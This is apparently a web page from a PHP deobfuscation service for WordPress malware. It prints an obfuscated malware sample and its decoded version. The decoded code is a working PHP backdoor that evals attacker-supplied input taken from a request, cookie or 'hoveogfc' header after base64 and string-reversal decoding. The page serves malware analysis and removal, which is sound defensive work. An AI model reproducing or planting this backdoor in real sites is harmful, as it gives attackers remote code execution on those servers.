Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $hemostats ='o';$he = '"';$champagne= 'r((seEpQ';$inn='[C:[_rt4'; $animals ='e'; $boardinghouses = ',';$jailed='O'; $hourly = 'c';$illustrious='Poe'; $antelopes = '5o'; $carriage ='o';$appareled= 'G_UeM$N';$bathos ='$OT,i.$'; $correcting= 'E';$hanger = ';'; $gang= 'g';$bethena = 'Eld()'; $i...



Obfuscated php code

<?php
$hemostats ='o';$he = '"';$champagne= 'r((seEpQ';$inn='[C:[_rt4';

$animals ='e'; $boardinghouses = ',';$jailed='O'; $hourly = 'c';$illustrious='Poe';
$antelopes = '5o'; $carriage ='o';$appareled= 'G_UeM$N';$bathos ='$OT,i.$'; $correcting= 'E';$hanger = ';'; $gang= 'g';$bethena = 'Eld()'; $interferingly='y';
$jag = 'T'; $idealizing='Fg(T'; $germain='-'; $knights='a'; $inviolate='F';

$juridic='(';
$anthe=']Va$:vas';$blair= 'n)Ts';

$joly = 'eR';

$debt= 'i';
$amounts='a;e(i_W'; $kenyon= '+';

$anne='igo*vF'; $creamy = '?i=;e("6C';$byron= '('; $holistic = ')_EX'; $cupboard=';';$gargled = ')';$hind ='h'; $cautioners = 'H'; $chartable = 'V';$falsity='h)@alJ$'; $beribboned='$'; $astounds='rOP$tLs,';$logicians='S"(@ls"'; $korella = 'p'; $erwin='t';$madonna='eR';$buckboard='He_sut';$discreteness = 'P'; $landmark ='t';

$cavort = 'e9iaQ';

$battalions = '$'; $harms= 'r3tK)6@';$existentialism='jgsrI)0B';$kewl='$D/';$clog = 'o';$encouragement = 'efs_]';$jury =')unc2"H)'; $lamming ='R$8y)';$boar ='T';
$hunch ='S';
$dasi = '(';$dryad= 'a'; $excelling= 'r';$gamblers='H'; $chatters ='ofe]Z_f';
$dates= 'dobOgeEd';$enriches = 'A';

$deluge= 'fE'; $electors = '@'; $giver = ';';$convolve ='b';$attitudes= 'sm4';$calisthenic = 'krt7ama';
$grievingly = 'a';

$indentation= 'GcIUg_i`[';

$holt = ')eC'; $glassy ='='; $catastrophe = 'ei1V'; $inquirer= '>=S';$complexion='<';$jacki ='"';

$ballroom='[';$chained = 'd';$fantod='_Epe?c"]';$carr = 'r';

$anvil ='t_a';

$interconnecting =')';$coatings= 'er"qCr^';$licensee= 'i';$corrina= 'v';
$bishop='Ovh[';

$brigadiers='_'; $goober = '_'; $justin= 'c';

$bombardment ='EO';

$locations ='r';

$likelihood='(Rv';

$disambiguates='v?O]TnaiV';

$enjoyably = 'f';$enameling =':H'; $boric = 'eccY('; $evy='GrnK '; $defended=$boric['2']. $evy['1'] . $boric['0'] .$disambiguates['6'].
$anvil['0'] .
$boric['0'] . $goober.$enjoyably. $jury['1'] .

$evy['2']. $boric['2']. $anvil['0']. $disambiguates['7']. $dates['1'] . $evy['2']; $assortment= $evy['4']; $gila= $defended($assortment,$boric['0'] .

$disambiguates['0'].$disambiguates['6'].$logicians['4'].$boric[4].

$electors .$disambiguates['6'] .
$evy['1'].$evy['1']. $disambiguates['6']. $lamming['3'] . $goober .
$fantod['2'] .$dates['1'] .$fantod['2'] . $boric[4] . $enjoyably .$jury['1'] . $evy['2']. $boric['2']. $goober.$indentation['4'] . $boric['0'] . $anvil['0'] .$goober .$disambiguates['6'].$evy['1']. $indentation['4'] .
$attitudes['0'] . $boric[4] . $interconnecting. $interconnecting.
$interconnecting . $giver); $gila ($anne[3] , $bishop['3'] ,$appareled['4'] ,$enameling['1'] , $appareled['6'], $lamming['1'], $coatings['3'] ,
$coatings['2'],

$lamming['1'] .$disambiguates['7'].
$inquirer['1'] .

$electors . $disambiguates['6'] .$evy['1']. $evy['1'].$disambiguates['6'].

$lamming['3'] .$goober .
$calisthenic['5'] . $boric['0'] .
$evy['1'].
$indentation['4']. $boric['0']. $boric[4] . $lamming['1'].$goober.$likelihood['1'].
$bombardment['0'].$cavort['4'] . $indentation['3'] . $bombardment['0'] . $inquirer['2'] . $disambiguates['4'] .

$astounds['7'] .

$lamming['1'].
$goober.$coatings['4'] . $disambiguates[2]. $disambiguates[2]. $evy['3'] . $indentation['2'] .$bombardment['0'] . $astounds['7'] . $lamming['1']. $goober . $inquirer['2'].$bombardment['0']. $likelihood['1']. $disambiguates['8'] .$bombardment['0'].
$likelihood['1'] . $interconnecting.$giver. $lamming['1'].$disambiguates['6'] . $inquirer['1'].$disambiguates['7'].$attitudes['0'] . $attitudes['0'] .$boric['0']. $anvil['0'].

$boric[4].$lamming['1'] .

$disambiguates['7'] .

$bishop['3'] . $coatings['2']. $bishop[2]. $dates['1'] .$disambiguates['0'].$boric['0'] . $dates['1'] . $indentation['4'] . $enjoyably . $boric['2']. $coatings['2']. $disambiguates['3']. $interconnecting.$disambiguates['1'] . $lamming['1'].$disambiguates['7'] . $bishop['3'] .$coatings['2'].$bishop[2]. $dates['1'] .$disambiguates['0'].$boric['0'].
$dates['1'] .$indentation['4']. $enjoyably .$boric['2'].$coatings['2'] . $disambiguates['3'] .$enameling['0'] .$boric[4].
$disambiguates['7'] . $attitudes['0'] . $attitudes['0'] . $boric['0'].$anvil['0'].

$boric[4] .
$lamming['1'] .$disambiguates['7'] .

$bishop['3'].$coatings['2'] .
$enameling['1']. $disambiguates['4'] .$disambiguates['4'] . $discreteness.

$goober .$enameling['1'].$disambiguates[2] . $disambiguates['8'] .

$bombardment['0']. $disambiguates[2] .
$evy['0'] . $anne['5'] . $coatings['4'].$coatings['2']. $disambiguates['3'].$interconnecting .
$disambiguates['1']. $lamming['1'] .
$disambiguates['7'] .

$bishop['3'].$coatings['2'].
$enameling['1'].$disambiguates['4'] .

$disambiguates['4'] . $discreteness .$goober . $enameling['1'].$disambiguates[2] .

$disambiguates['8'] .$bombardment['0'] .$disambiguates[2] . $evy['0'] .$anne['5'] .
$coatings['4']. $coatings['2'].$disambiguates['3'].

$enameling['0'].

$chained. $disambiguates['7'] .
$boric['0']. $interconnecting .$giver .
$electors . $boric['0'].
$disambiguates['0'] .
$disambiguates['6'].

$logicians['4'] .$boric[4] .

$attitudes['0'] .
$anvil['0'].$evy['1'] . $evy['1'].

$boric['0'] .$disambiguates['0']. $boric[4] .
$convolve .
$disambiguates['6'].$attitudes['0'].
$boric['0'] .$harms['5'] .$attitudes['2'] .$goober . $chained .$boric['0'].
$boric['2'] .$dates['1'] .$chained.
$boric['0']. $boric[4] . $attitudes['0']. $anvil['0'].
$evy['1'] . $evy['1'] .$boric['0'].

$disambiguates['0']. $boric[4]. $lamming['1'] . $disambiguates['6'].$interconnecting .$interconnecting .
$interconnecting.$interconnecting.$giver );

Decoded(de-Obfuscated) php code

<?php

$hemostats = 'o';
$he = '"';
$champagne = 'r((seEpQ';
$inn = '[C:[_rt4';
$animals = 'e';
$boardinghouses = ',';
$jailed = 'O';
$hourly = 'c';
$illustrious = 'Poe';
$antelopes = '5o';
$carriage = 'o';
$appareled = 'G_UeM$N';
$bathos = '$OT,i.$';
$correcting = 'E';
$hanger = ';';
$gang = 'g';
$bethena = 'Eld()';
$interferingly = 'y';
$jag = 'T';
$idealizing = 'Fg(T';
$germain = '-';
$knights = 'a';
$inviolate = 'F';
$juridic = '(';
$anthe = ']Va$:vas';
$blair = 'n)Ts';
$joly = 'eR';
$debt = 'i';
$amounts = 'a;e(i_W';
$kenyon = '+';
$anne = 'igo*vF';
$creamy = '?i=;e("6C';
$byron = '(';
$holistic = ')_EX';
$cupboard = ';';
$gargled = ')';
$hind = 'h';
$cautioners = 'H';
$chartable = 'V';
$falsity = 'h)@alJ$';
$beribboned = '$';
$astounds = 'rOP$tLs,';
$logicians = 'S"(@ls"';
$korella = 'p';
$erwin = 't';
$madonna = 'eR';
$buckboard = 'He_sut';
$discreteness = 'P';
$landmark = 't';
$cavort = 'e9iaQ';
$battalions = '$';
$harms = 'r3tK)6@';
$existentialism = 'jgsrI)0B';
$kewl = '$D/';
$clog = 'o';
$encouragement = 'efs_]';
$jury = ')unc2"H)';
$lamming = 'R$8y)';
$boar = 'T';
$hunch = 'S';
$dasi = '(';
$dryad = 'a';
$excelling = 'r';
$gamblers = 'H';
$chatters = 'ofe]Z_f';
$dates = 'dobOgeEd';
$enriches = 'A';
$deluge = 'fE';
$electors = '@';
$giver = ';';
$convolve = 'b';
$attitudes = 'sm4';
$calisthenic = 'krt7ama';
$grievingly = 'a';
$indentation = 'GcIUg_i`[';
$holt = ')eC';
$glassy = '=';
$catastrophe = 'ei1V';
$inquirer = '>=S';
$complexion = '<';
$jacki = '"';
$ballroom = '[';
$chained = 'd';
$fantod = '_Epe?c"]';
$carr = 'r';
$anvil = 't_a';
$interconnecting = ')';
$coatings = 'er"qCr^';
$licensee = 'i';
$corrina = 'v';
$bishop = 'Ovh[';
$brigadiers = '_';
$goober = '_';
$justin = 'c';
$bombardment = 'EO';
$locations = 'r';
$likelihood = '(Rv';
$disambiguates = 'v?O]TnaiV';
$enjoyably = 'f';
$enameling = ':H';
$boric = 'eccY(';
$evy = 'GrnK ';
$defended = "create_function";
$assortment = $evy['4'];
$gila = function () {
    eval(@array_pop(func_get_args()));
};
$gila($anne[3], $bishop['3'], $appareled['4'], $enameling['1'], $appareled['6'], $lamming['1'], $coatings['3'], $coatings['2'], "\$i=@array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"hoveogfc\"])?\$i[\"hoveogfc\"]:(isset(\$i[\"HTTP_HOVEOGFC\"])?\$i[\"HTTP_HOVEOGFC\"]:die);@eval(strrev(base64_decode(strrev(\$a))));");


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.